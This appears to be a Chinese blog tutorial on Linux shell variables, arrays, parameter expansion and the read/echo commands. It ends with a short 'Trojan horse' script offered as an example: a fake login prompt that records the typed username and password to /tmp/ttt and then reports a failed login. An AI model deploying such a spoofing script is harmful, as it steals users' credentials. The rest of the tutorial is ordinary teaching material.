Linux shell程序设计(三).变量-1
				
		
		
				
				 
		
				
						    无论是Linux的shell还是Windows的bat,变量的使用都占据了很大的位置。可以说稍微复杂一些的shell脚本中,其使用的变量就让人眼花缭乱,所以学好变量的基本知识很有必要,毕竟是所有的基础。而且这部分的内容非常容易记混,还是那句话,关键还是在于应用。
				
		
		
				
				 
		
				
						一、用户定义的变量
				
		
		
				
				 
		
				
						
								1、变量名
						
				
		
		
				
						
						
				 
		
				
						    以字母、下划线开头的字母、数字和下划线字符序列
				
		
		
				
						
								    注:大小写敏感
						
				
		
		
				
						
						
				 
		
				
						
								2、变量赋值
						
				
		
		
				
						
						
				 
		
		
				
						
						
				 
		
				
						
								3、引用变量值
						
				
		
		
				
						
						
				 
		
				
						    在变量名前加“$”表示引用,例如:
				
		
		
				
						    $ dir=/usr/wxq
				
		
		
				
						    $ echo $dir  --/usr/wxq
				
		
		
				
						    $ echo dir  --dir
				
		
		
				
						
						
				 
		
				
						    注意:
				
		
		
				
						    ① abc= 或未明确赋值过的变量,均为空字符串
				
		
		
				
						    ② 如果字符串中有空格,则用""括起来:names="Wang XQ"
				
		
		
				
						    ③ 可以作为某长字符串的一部分,例如:echo read$s
				
		
		
				
						    ④ 若会引起歧义时,用{}括起变量,如:cat ${dir}qc/m
				
		
		
				
						
						
				 
		
				
						
								4、命令替换
						
				
		
		
				
						
						
				 
		
				
						    使用倒引号“`”进行命令替换,如:
				
		
		
				
						    $ dir=`pwd`
				
		
		
				
						
						
				 
		
				
						    或者使用$()的形式
				
		
		
				
						    $ dir=$(pwd)
				
		
		
				
						    $ echo $(pwd; cd /opt; ls -l)
				
		
		
				
						
						
				 
		
				
						
						
				 
		
				
						
								二、数组
						
				
		
		
				
						
						
				 
		
				
						
								1、定义数组
						
				
		
		
				
						
						
				 
		
				
						    bash只提供一维数组,且不限制数组大小。
				
		
		
				
						    数据下标从0开始赋值,格式为:数组名[下标]=值
				
		
		
				
						
						
				 
		
				
						    $ city[0]=Beijing
				
		
		
				
						    $ city[1]=Shanghai
				
		
		
				
						    ...
				
		
		
				
						
						
				 
		
				
						    也可以组合赋值
				
		
		
				
						    $ A=(this is an example of shell script)
				
		
		
				
						
						
				 
		
				
						
								2、数组的读取
						
				
		
		
				
						
						
				 
		
				
						    ${数组名[下标]},例如上例中:
				
		
		
				
						
						
				 
		
				
						    $ echo ${A[0]} ${A[2]}  --this an
				
		
		
				
						    $ echo ${A[8]}  --空值,超过上限
				
		
		
				
						
						
				 
		
				
						    注:可以使用*或@作为下标,表示所有元素,例如:
				
		
		
				
						    $ echo ${A[*]}
				
		
		
				
						
						
				 
		
				
						    当不加下标读取时,默认返回A[0]
				
		
		
				
						
						
				 
		
				
						
								3、取消数组
						
				
		
		
				
						
						
				 
		
				
						    $ unset A  --取消整个数据
				
		
		
				
						    $ unset A[0]  --取消第一个值
				
		
		
				
						
						
				 
		
				
						
						
				 
		
				
						
								三、变量引用
						
				
		
		
				
						
						
				 
		
				
						   ① $name:表示变量name的值,若未定义变量则返回空值
				
		
		
				
						
						
				 
		
				
						   ② ${name}:与$name相同,只是为了与后面紧接的字符分开
				
		
		
				
						
						
				 
		
				
						   ③ ${name[n]}:表示引用数组name中的第n个元素
				
		
		
				
						
						
				 
		
				
						   ④ ${name[*]} | ${name[@]}:表示引用数据的所有元素
				
		
		
				
						
						
				 
		
				
						    ${name[*]}和${name[@]}的区别:
				
		
		
				
						      $ person=("a b" "c d")
      $ echo ${person[*]}
				
		
		
				
						      a b c d
				
		
		
				
						
								      $ echo ${person[@]} 
						
						
								
										      a b c d
								
						
						
								
								
								
								
								 
								
										
												
														     $ for i in ${person[*]}; do echo $i; done
														
														 
										
								
								
										
												
														     a
      b
      c
      d
 
										
								
								
										
												
														     $ for i in ${person[@]}; do echo $i; done
														
														 
										
								
								
										
												
														     a
      b
      c
      d
														
												
										
								
								
										      $ for i in "${person[*]}"; do echo $i; done
      a b c d
								
						
						
								
										
												      $ for i in "${person[@]}"; do echo $i; done
										
								
						
						
								
										
												      a b
										
								
						
						
								
										
												
														
																      c d
																
														
												
										
								
						
				
		 
		
				
						
						
				 
		
				
						    ⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:计算方法,后面讲
				
		
		
				
						
						
				 
		
				
						    ⑥ ${name#pattern}、${name##pattern}:去掉开头匹配部分之后的结果
				
		
		
				
						    ${name#pattern}:去掉匹配最少的部分
				
		
		
				
						    ${name##pattern}:去掉匹配最多的部分
				
		
		
				
						
						
				 
		
				
						    $ echo $PWD
				
		
		
				
						    /home/wxq
				
		
		
				
						    $ echo ${PWD#*/}
				
		
		
				
						    home/wxq
				
		
		
				
						    $ echo ${PWD##*/}
				
		
		
				
						    wxq
				
		
		
				
						
						
				 
		
				
						
								
										    ⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的结果
						
				
		
		
				
						
								
										    ${name%pattern}:去掉匹配最少的部分
								
						
						
								
										    ${name%%pattern}:去掉匹配最多的部分
								
						
						
								
										
										
								 
						
								
										
												
														    $ echo $FILE
												
										
										
												
														    A.abc.c
												
										
										
												
														    $ echo ${FILE%.*}
												
										
										
												
														    A.abc
												
										
										
												
														    $ echo ${FILE%%.*}
												
										
										
												
														    A
												
										
								
						 
						
								
								
						
				
				
				  
		
				
						
								
										    ⑧ ${#@}、${#*}:返回$@、$*返回参数的个数
						
				
		
		
				
						
						
				 
		
				
						    ⑨ ${#name[i]}:返回第i个元素的长度(字符个数)
				
		
		
				
						
						
				 
		
				
						    ⑩ ${#name[*]}、${#name[@]}:返回数组name中已经设置的元素个数
				
		
		
				
						
						
				 
		
				
						
						
				 
		
				
						
								四、输入/输出命令
						
				
		
		
				
						
						
				 
		
				
						
								1、read命令
						
				
		
		
				
						
						
				 
		
				
						    ① 输入个数与给定数据个数相同
				
		
		
				
						    $ read x y z
				
		
		
				
						    Today is Monday
				
		
		
				
						    $ echo $z $y $x
				
		
		
				
						
								
										    Monday is Today
								
						
				
		
		
				
						
						
				 
		
				
						    ② 输入个数多于给定数据个数
				
		
		
				
						    $ read a1 a2 a3
				
		
		
				
						    aaa bbb ccc ddd 111
				
		
		
				
						    $ echo $a2 $a1
				
		
		
				
						    bbb aaa
				
		
		
				
						    $ echo $a3
				
		
		
				
						    ccc ddd 111
				
		
		
				
						
						
				 
		
				
						
								    注:从左自右依次对应,最后一个变量分配到剩余所有的数据
						
				
		
		
				
						
						
				 
		
				
						    ③ 输入个数少于给定数据个数
				
		
		
				
						
						
				 
		
				
						    从左自右依次对应,没有对应的变量取空值
				
		
		
				
						
						
				 
		
				
						
								2、echo命令
						
				
		
		
				
						
						
				 
		
				
						    echo命令用于显示其后的变量值或之间显示后面的字符串。各个参数之间以空格隔开,以换行符终止。如果数据间需要空格则用""括起来。
				
		
		
				
						
						
				 
		
				
						    echo命令后面加上“-e”后可使用转义符,转义符包括以下这些:
				
		
		
				
						
						
				 
		
				
						    \a  响铃报警
				
		
		
				
						    \b  退一个字符位置
				
		
		
				
						    \c  输出之后光标不换行,接在此之后(与-n选项相同)
				
		
		
				
						    \e  转义字符
				
		
		
				
						    \f  换页
				
		
		
				
						    \n  显示换行
				
		
		
				
						    \r  回车
				
		
		
				
						    \t  水平制表符
				
		
		
				
						    \v  垂直制表符
				
		
		
				
						    \\  印出反斜杠
				
		
		
				
						    \m  表示一个ASCII字符(m以0开头,由1位、2位或3位八进制数组成的数)
				
		
		
				
						    \xm 表示一个ASCII字符(m以0开头,由1位、2位或3位十六进制数组成的数)
				
		
		
				
						
						
				 
		
				
						    举例某特洛伊木马shell脚本如下:
				
		
		
				
						    echo -n "Login:"
				
		
		
				
						    read name
				
		
		
				
						    stty -echo
				
		
		
				
						    echo -n "Password:"
				
		
		
				
						    read passwd
				
		
		
				
						    echo ""
				
		
		
				
						    stty echo
				
		
		
				
						    echo $name $passwd > /tmp/ttt&
				
		
		
				
						    sleep 2
				
		
		
				
						    echo "Login Incorrect.Re-enter,Please."
				
		
		
				
						    stty cooked